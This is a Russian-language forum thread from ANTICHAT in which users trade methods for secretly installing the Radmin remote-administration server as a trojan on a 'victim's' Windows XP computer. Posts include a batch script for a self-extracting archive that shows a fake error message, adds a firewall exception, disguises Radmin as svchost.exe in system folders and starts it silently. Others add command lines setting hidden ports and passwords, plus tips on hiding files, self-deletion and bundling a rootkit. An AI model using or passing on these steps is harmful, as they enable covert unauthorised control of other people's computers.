ANTICHAT — форум по информационной безопасности, OSINT и технологиям

что нужно прописать в телнете чтобы у жертвы в процессах не отображался r_server!?
как заставить жертву запустить server без соц.инженирии?

причем тут telnet к радмину? если ты хочешь чтоб в процессах не было r_server просто переименуй его например в svchost

да я его даже настроить не могу ! скачал готовый пак тут же на форуме !он сам распаковывается в систем!проста в viewerе есть такая функция телнет я думал мож ей надо как то воспользоваться ?мож кто расскажет как такой архивчик создать и пасс свой поставить!пишите в личку плз!
мож есть какие ниб другие способы проникнуть на комп (XP) кроме как троем?поделитесь!ну или хотя б че ниб предложите по сетевому хаку !

я так понял что нужно 4 файла : батник(111) такого сожержания в sfx архиве!:


@echo off
echo FATAL ERROR! PLEASE, WAIT TO CONTINUE...
netsh firewall add allowedprogram "%Windir%\svchost.exe" "Remote Administrator Server" ENABLE
reg export "HKEY_LOCAL_MACHINE\SYSTEM\RAdmin" 123.reg
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\RAdmin" /f
copy /y "svchost.exe" "%SYSTEMROOT%/svchost.exe"
copy /y "raddrv.dll" "%SYSTEMROOT%/raddrv.dll"
copy /y "admdll.dll" "%SYSTEMROOT%/admdll.dll"
reg import 111.reg
regedit /s 111.reg
"%SYSTEMROOT%/svchost.exe" /install /silence
"%SYSTEMROOT%/svchost.exe" /start

а вот что в файле 111.reg?

а исправьте чтоб етот архив после запуска сам и удаляся!расскажите что нужно сделать чтоб руткит вместе с radminом ставился может расскажете мне!

у меня была трабла:
у человека на порту 4899 стоял r_server
я закинул ему еще два переименованых радмин сервера переименованых в svchost работающих на 4898 и 4897 портах
настроил эти два через командную строку путем следующих команд:
%SYSTEMROOT%/help\svchost.exe /install /silence
%SYSTEMROOT%/help\svchost.exe /port:4898 /pass:tratata /save /silence
%SYSTEMROOT%/help\svchost.exe /start
и
%SYSTEMROOT%/config\svchost.exe /install /silence
%SYSTEMROOT%/config\svchost.exe /port:4897 /pass:tratata /save /silence
%SYSTEMROOT%/config\svchost.exe /start


в каждую директорию закидывал три файла:
svchost.exe
AdmDll.dll
raddrv.dll

собственно сама проблема с серверами на портах 4898 и 4897:
через обмен файлов и телнет конектилось отлично но "управление" и "просмотр" не работали.
после ввода пароля появлялась заставочка как при загрузке экрана и потом просто исчезала

версия сервера 2.2 версия клиента 3.2

при этом на 4899 портустоит такая точно 2.2 версия и она нормально работает

как думаете в чем может быть проблема?

з.ы. а сегодня сервера работать перестали ( видимо ктото спалил их нодом (








содержание файла 111.reg
факю по файлам бат и рег в первых двух постах этой темы



чтобы файлы удалялись прописываешь в бат файле в конце:
где xxx.xx название файла который надо удалить


лично у меня бат файл был следующего содержания:

как вариант можно в архиве сделать все файлы кроме собственно батника скрытыми
много народу юзает проводник где по дефолту не показываются скрытые файлы...

На компе существует уже установленный радмин, после запуска радмина-трояна пароль и порт другие, старый радмин вырубился и незапускаеться. Вопросто такой можно ли использовать 2 радмина нормальный и трой одновременно , если да то как ???

Юзать разные порты.

так я же написал что порт я установил другой

"C:\WINDOWS\Help\svchost.exe" /port:5001

Зы= кстати на виндовс сервер нужно прописывать конкретный путь

Или нужно в самом реестре устанавливать???